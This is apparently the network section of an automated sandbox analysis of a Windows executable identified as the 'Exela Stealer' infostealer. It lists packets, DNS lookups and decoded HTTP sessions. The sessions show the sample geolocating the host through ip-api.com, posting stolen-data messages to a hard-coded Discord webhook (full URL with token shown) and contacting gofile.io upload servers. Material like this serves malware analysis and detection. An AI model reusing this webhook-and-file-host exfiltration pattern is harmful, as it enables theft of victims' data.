                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.385389090 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.385413885 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.386914015 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.386991024 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.387999058 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.388093948 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.388295889 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.388317108 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.400423050 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.400490999 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.400604963 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.400643110 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.400784969 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.400824070 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401134014 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401161909 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401321888 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401345015 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401514053 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401563883 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401578903 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401752949 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.401782036 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.441916943 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.442109108 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.442176104 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.442194939 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.489902973 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.490114927 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.490190029 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.490216970 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.537904024 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.538106918 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.538172007 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.538211107 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.585910082 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.586055040 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.590960026 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.591186047 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:28.686764002 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:29.343676090 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:29.343765020 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:29.343827963 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:29.344726086 CET49722443192.168.2.7162.159.136.232
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:29.344749928 CET44349722162.159.136.232192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.218383074 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.218421936 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.218522072 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.219935894 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.219953060 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.777592897 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.778378963 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.778409004 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.780051947 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.780143976 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.781362057 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.781476974 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.781800985 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.781816959 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.835932970 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.125315905 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.125467062 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.125709057 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.126399040 CET49725443192.168.2.751.38.43.18
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.126418114 CET4434972551.38.43.18192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.827090025 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.827125072 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.827214003 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.828567028 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.828577042 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.184056044 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.184709072 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.184740067 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.185756922 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.185838938 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.187006950 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.187068939 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.187371016 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.187387943 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.187675953 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.188087940 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.188111067 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.188168049 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.188179016 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.188647985 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.188741922 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.188756943 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.589721918 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.589807034 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.590010881 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.608134985 CET49726443192.168.2.731.14.70.245
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.608160019 CET4434972631.14.70.245192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.611407995 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.611491919 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.611599922 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.612469912 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.612509012 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.807384968 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.808186054 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.808221102 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.809242964 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.809320927 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.810372114 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.810446978 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.810898066 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.810914040 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.811506987 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:32.857914925 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:33.115381002 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:33.115499973 CET44349727162.159.128.233192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:33.115576029 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:33.116491079 CET49727443192.168.2.7162.159.128.233
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:33.116523981 CET44349727162.159.128.233192.168.2.7

                                                                                                                                                                                                                                    UDP Packets

                                                                                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.090111971 CET6285153192.168.2.71.1.1.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.185430050 CET53628511.1.1.1192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.150815010 CET5320753192.168.2.71.1.1.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.247697115 CET53532071.1.1.1192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.119839907 CET6089953192.168.2.71.1.1.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.216162920 CET53608991.1.1.1192.168.2.7
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.649988890 CET5472553192.168.2.71.1.1.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.825081110 CET53547251.1.1.1192.168.2.7

                                                                                                                                                                                                                                    DNS Queries

                                                                                                                                                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.090111971 CET192.168.2.71.1.1.10x86f9Standard query (0)ip-api.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.150815010 CET192.168.2.71.1.1.10x4cdStandard query (0)discord.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.119839907 CET192.168.2.71.1.1.10xdd0aStandard query (0)api.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.649988890 CET192.168.2.71.1.1.10x2a42Standard query (0)store4.gofile.ioA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                    DNS Answers

                                                                                                                                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.185430050 CET1.1.1.1192.168.2.70x86f9No error (0)ip-api.com208.95.112.1A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.247697115 CET1.1.1.1192.168.2.70x4cdNo error (0)discord.com162.159.128.233A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.247697115 CET1.1.1.1192.168.2.70x4cdNo error (0)discord.com162.159.136.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.247697115 CET1.1.1.1192.168.2.70x4cdNo error (0)discord.com162.159.137.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.247697115 CET1.1.1.1192.168.2.70x4cdNo error (0)discord.com162.159.135.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:27.247697115 CET1.1.1.1192.168.2.70x4cdNo error (0)discord.com162.159.138.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.216162920 CET1.1.1.1192.168.2.70xdd0aNo error (0)api.gofile.io51.38.43.18A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.216162920 CET1.1.1.1192.168.2.70xdd0aNo error (0)api.gofile.io151.80.29.83A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:30.216162920 CET1.1.1.1192.168.2.70xdd0aNo error (0)api.gofile.io51.178.66.33A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:31.825081110 CET1.1.1.1192.168.2.70x2a42No error (0)store4.gofile.io31.14.70.245A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                    HTTP Request Dependency Graph

                                                                                                                                                                                                                                    • discord.com
                                                                                                                                                                                                                                    • api.gofile.io
                                                                                                                                                                                                                                    • store4.gofile.io
                                                                                                                                                                                                                                    • ip-api.com

                                                                                                                                                                                                                                    HTTP Packets

                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    0192.168.2.749710208.95.112.1805828C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.407463074 CET124OUTGET /json HTTP/1.1
                                                                                                                                                                                                                                    Host: ip-api.com
                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                    User-Agent: Python/3.11 aiohttp/3.9.1
                                                                                                                                                                                                                                    Jan 13, 2024 06:50:16.598507881 CET486INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Sat, 13 Jan 2024 05:50:16 GMT
                                                                                                                                                                                                                                    Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                    Content-Length: 309
                                                                                                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                    X-Ttl: 60
                                                                                                                                                                                                                                    X-Rl: 44
                                                                                                                                                                                                                                    Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 44 43 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 44 69 73 74 72 69 63 74 20 6f 66 20 43 6f 6c 75 6d 62 69 61 22 2c 22 63 69 74 79 22 3a 22 57 61 73 68 69 6e 67 74 6f 6e 22 2c 22 7a 69 70 22 3a 22 35 36 39 37 32 22 2c 22 6c 61 74 22 3a 33 38 2e 38 39 34 2c 22 6c 6f 6e 22 3a 2d 37 37 2e 30 33 36 35 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 41 53 31 37 34 22 2c 22 6f 72 67 22 3a 22 44 45 54 20 41 66 72 69 63 61 20 28 50 74 79 29 20 4c 54 44 22 2c 22 61 73 22 3a 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 22 71 75 65 72 79 22 3a 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 32 22 7d
                                                                                                                                                                                                                                    Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"DC","regionName":"District of Columbia","city":"Washington","zip":"56972","lat":38.894,"lon":-77.0365,"timezone":"America/New_York","isp":"AS174","org":"DET Africa (Pty) LTD","as":"AS174 Cogent Communications","query":"102.165.48.42"}


                                                                                                                                                                                                                                    HTTPS Proxied Packets

                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    0192.168.2.749720162.159.128.2334435828C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    2024-01-13 05:50:27 UTC277OUTPOST /api/webhooks/1190831584878809150/43baozn0FAVEYDo8eF-XivB5Q0JQGjw6pMMgTYce34wCzvDF3gAtdM_zDzFY9WMg2T-- HTTP/1.1
                                                                                                                                                                                                                                    Host: discord.com
                                                                                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                    User-Agent: Python/3.11 aiohttp/3.9.1
                                                                                                                                                                                                                                    Content-Length: 1481
                                                                                                                                                                                                                                    2024-01-13 05:50:27 UTC1481OUTData Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 20 46 75 6c 6c 20 49 6e 66 6f 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30
                                                                                                                                                                                                                                    Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "***Exela Stealer***", "description": "***Exela Stealer Full Info***", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer | https://github.com/quicaxd/Exela-V2.0
                                                                                                                                                                                                                                    2024-01-13 05:50:27 UTC1367INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                    Date: Sat, 13 Jan 2024 05:50:27 GMT
                                                                                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                                                                                    Content-Length: 45
                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                    set-cookie: __dcfduid=a7326af6b1d711ee8a71f6ae5b42f42d; Expires=Thu, 11-Jan-2029 05:50:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                                                                                                                                                                                                                    strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                    x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                    x-ratelimit-limit: 5
                                                                                                                                                                                                                                    x-ratelimit-remaining: 4
                                                                                                                                                                                                                                    x-ratelimit-reset: 1705125029
                                                                                                                                                                                                                                    x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                    via: 1.1 google
                                                                                                                                                                                                                                    Alt-Svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                    CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jLx5duCHgW2RQLiJj4bw%2BlbL9cagFn%2F4d4Z30bL20RQRryiSZmuboeShqYkIoOWZMIG8AWSO%2BbuvtgojH8LgU8JFU48%2BSoQA45gvY5ZZW58xoLCoEazCbC1i4TEK"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                    Set-Cookie: __sdcfduid=a7326af6b1d711ee8a71f6ae5b42f42d54e26f373fdf86319292142ab3e5999144397f4f80adacce011ffd6c0fb5ab76; Expires=Thu, 11-Jan-2029 05:50:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                                                                                                                                                                                                                    Set-Cookie: __cfruid=a74299eec30796612ee1aba559cec2ac39e412a1-1705125027; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                    2024-01-13 05:50:27 UTC205INData Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 61 6a 38 75 4d 37 6b 63 4a 30 4d 4e 41 6f 36 6e 7a 32 76 65 74 30 38 61 58 58 77 4c 62 41 43 78 31 6c 53 41 63 41 4d 52 39 6b 49 2d 31 37 30 35 31 32 35 30 32 37 36 33 35 2d 30 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 34 34 62 35 63 39 64 65 39 37 36 35 62 31 36 2d 49 41 44 0d 0a 0d 0a
                                                                                                                                                                                                                                    Data Ascii: Set-Cookie: _cfuvid=aj8uM7kcJ0MNAo6nz2vet08aXXwLbACx1lSAcAMR9kI-1705125027635-0-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 844b5c9de9765b16-IAD
                                                                                                                                                                                                                                    2024-01-13 05:50:27 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                    Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    1192.168.2.749721162.159.128.2334435828C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    2024-01-13 05:50:27 UTC276OUTPOST /api/webhooks/1190831584878809150/43baozn0FAVEYDo8eF-XivB5Q0JQGjw6pMMgTYce34wCzvDF3gAtdM_zDzFY9WMg2T-- HTTP/1.1
                                                                                                                                                                                                                                    Host: discord.com
                                                                                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                    User-Agent: Python/3.11 aiohttp/3.9.1
                                                                                                                                                                                                                                    Content-Length: 614
                                                                                                                                                                                                                                    2024-01-13 05:50:27 UTC614OUTData Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 4b 65 79 77 6f 72 64 20 52 65 73 75 6c 74 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 22 7d 2c 20 22 74 68 75 6d
                                                                                                                                                                                                                                    Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "***Exela Stealer***", "description": "***Keyword Result***", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer | https://github.com/quicaxd/Exela-V2.0"}, "thum
                                                                                                                                                                                                                                    2024-01-13 05:50:28 UTC1235INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                    Date: Sat, 13 Jan 2024 05:50:28 GMT
                                                                                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                                                                                    Content-Length: 45
                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                    set-cookie: __dcfduid=a77e5eb6b1d711eeb084def28c803d5e; Expires=Thu, 11-Jan-2029 05:50:28 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                                                                                                                                                                                                                    strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                    x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                    x-ratelimit-limit: 5
                                                                                                                                                                                                                                    x-ratelimit-remaining: 4
                                                                                                                                                                                                                                    x-ratelimit-reset: 1705125029
                                                                                                                                                                                                                                    x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                    via: 1.1 google
                                                                                                                                                                                                                                    Alt-Svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                    CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vSHjjOFB3RExvl2kPkMVZ4w69meWRLvTViZStUOmBP6Zmky4L9s%2BBrAp%2B0frBc%2Bjjd5y4H266GvXOaMbgt9Zngs%2FabxLTXQ6juMDjTK7Tv%2BMaqVMNNrCI4PPdg1%2F"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                    X-Content-Type-Options: nosniff
